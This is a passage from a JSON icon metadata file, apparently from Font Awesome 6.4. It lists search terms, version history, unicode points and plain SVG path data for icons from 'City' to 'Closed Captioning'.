    "unicode": "f64f",
    "label": "City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 48c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48V96H224V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V96H112V24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144v96V464c0 26.5 21.5 48 48 48H304h32 96H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H480V48zm96 320v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM240 416H208c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zM128 400c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM560 256c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32zM256 176v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM112 160c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32zM256 304c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM112 320H80c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zm304-48v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM400 64c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16h32zm16 112v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 48c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48V96H224V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V96H112V24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144v96V464c0 26.5 21.5 48 48 48H304h32 96H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H480V48zm96 320v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM240 416H208c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zM128 400c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM560 256c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32zM256 176v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM112 160c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32zM256 304c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM112 320H80c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zm304-48v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM400 64c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16h32zm16 112v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "clapperboard": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "camera",
        "clapper",
        "clapper board",
        "director",
        "film",
        "movie",
        "record"
      ]
    },
    "styles": ["solid"],
    "unicode": "e131",
    "label": "Clapperboard",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 32H361.9l-1 1-127 127h92.1l1-1L453.8 32.3c-1.9-.2-3.8-.3-5.8-.3zm64 128V96c0-15.1-5.3-29.1-14-40l-104 104H512zM294.1 32H201.9l-1 1L73.9 160h92.1l1-1 127-127zM64 32C28.7 32 0 60.7 0 96v64H6.1l1-1 127-127H64zM512 192H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 32H361.9l-1 1-127 127h92.1l1-1L453.8 32.3c-1.9-.2-3.8-.3-5.8-.3zm64 128V96c0-15.1-5.3-29.1-14-40l-104 104H512zM294.1 32H201.9l-1 1L73.9 160h92.1l1-1 127-127zM64 32C28.7 32 0 60.7 0 96v64H6.1l1-1 127-127H64zM512 192H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192z"
      }
    },
    "free": ["solid"]
  },
  "clipboard": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4cb"],
        "secondary": ["10f328"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clipboar", "clipboard", "copy", "notes", "paste", "record"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f328",
    "label": "Clipboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM112 192H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM112 192H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M280 64h40c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64h40 9.6C121 27.5 153.3 0 192 0s71 27.5 78.4 64H280zM64 112c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H304v24c0 13.3-10.7 24-24 24H192 104c-13.3 0-24-10.7-24-24V112H64zm128-8a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M280 64h40c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64h40 9.6C121 27.5 153.3 0 192 0s71 27.5 78.4 64H280zM64 112c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H304v24c0 13.3-10.7 24-24 24H192 104c-13.3 0-24-10.7-24-24V112H64zm128-8a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "clipboard-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f46c"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "confirm",
        "done",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes"
      ]
    },
    "styles": ["solid"],
    "unicode": "f46c",
    "label": "Clipboard Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM305 273L177 401c-9.4 9.4-24.6 9.4-33.9 0L79 337c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L271 239c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM305 273L177 401c-9.4 9.4-24.6 9.4-33.9 0L79 337c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L271 239c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "clipboard-list": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f46d"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "intinerary",
        "ol",
        "schedule",
        "tick",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f46d",
    "label": "Clipboard List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM72 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zM72 368a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm88 0c0-8.8 7.2-16 16-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM72 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zM72 368a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm88 0c0-8.8 7.2-16 16-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "clipboard-question": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["assistance", "interview", "query", "question"]
    },
    "styles": ["solid"],
    "unicode": "e4e3",
    "label": "Clipboard Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM105.8 229.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L216 328.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V314.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H158.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM160 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM105.8 229.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L216 328.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V314.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H158.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM160 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "clipboard-user": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7f3"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["attendance", "record", "roster", "staff"]
    },
    "styles": ["solid"],
    "unicode": "f7f3",
    "label": "Clipboard User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM128 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 432c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM128 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 432c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "clock": {
    "aliases": {
      "names": ["clock-four"],
      "unicodes": {
        "composite": ["1f553"],
        "secondary": ["10f017"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.12.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "00",
        "4",
        "4:00",
        "clock",
        "date",
        "four",
        "four o’clock",
        "hour",
        "late",
        "minute",
        "o'clock",
        "o’clock",
        "schedule",
        "ticking",
        "time",
        "timer",
        "timestamp",
        "watch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f017",
    "label": "Clock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 1 0 512A256 256 0 1 1 256 0zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 1 0 512A256 256 0 1 1 256 0zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "clock-rotate-left": {
    "aliases": {
      "names": ["history"],
      "unicodes": {
        "secondary": ["10f1da"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Rewind",
        "clock",
        "reverse",
        "time",
        "time machine",
        "time travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1da",
    "label": "Clock Rotate Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M75 75L41 41C25.9 25.9 0 36.6 0 57.9V168c0 13.3 10.7 24 24 24H134.1c21.4 0 32.1-25.9 17-41l-30.8-30.8C155 85.5 203 64 256 64c106 0 192 86 192 192s-86 192-192 192c-40.8 0-78.6-12.7-109.7-34.4c-14.5-10.1-34.4-6.6-44.6 7.9s-6.6 34.4 7.9 44.6C151.2 495 201.7 512 256 512c141.4 0 256-114.6 256-256S397.4 0 256 0C185.3 0 121.3 28.7 75 75zm181 53c-13.3 0-24 10.7-24 24V256c0 6.4 2.5 12.5 7 17l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-65-65V152c0-13.3-10.7-24-24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M75 75L41 41C25.9 25.9 0 36.6 0 57.9V168c0 13.3 10.7 24 24 24H134.1c21.4 0 32.1-25.9 17-41l-30.8-30.8C155 85.5 203 64 256 64c106 0 192 86 192 192s-86 192-192 192c-40.8 0-78.6-12.7-109.7-34.4c-14.5-10.1-34.4-6.6-44.6 7.9s-6.6 34.4 7.9 44.6C151.2 495 201.7 512 256 512c141.4 0 256-114.6 256-256S397.4 0 256 0C185.3 0 121.3 28.7 75 75zm181 53c-13.3 0-24 10.7-24 24V256c0 6.4 2.5 12.5 7 17l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-65-65V152c0-13.3-10.7-24-24-24z"
      }
    },
    "free": ["solid"]
  },
  "clone": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f24d"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "copy", "duplicate", "paste"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f24d",
    "label": "Clone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 448H64V224h64V160H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H288c35.3 0 64-28.7 64-64V384H288v64zm-64-96H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H224c-35.3 0-64 28.7-64 64V288c0 35.3 28.7 64 64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 448H64V224h64V160H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H288c35.3 0 64-28.7 64-64V384H288v64zm-64-96H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H224c-35.3 0-64 28.7-64 64V288c0 35.3 28.7 64 64 64z"
      },
      "regular": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 464H288c8.8 0 16-7.2 16-16V384h48v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h64v48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM224 304H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16V288c0 8.8 7.2 16 16 16zm-64-16V64c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 464H288c8.8 0 16-7.2 16-16V384h48v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h64v48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM224 304H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16V288c0 8.8 7.2 16 16 16zm-64-16V64c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "closed-captioning": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f20a"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cc",
        "deaf",
        "hearing",
        "subtitle",
        "subtitling",
        "text",
        "video"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f20a",
    "label": "Closed Captioning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z"
      },
      "regular": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z"
      }
    },
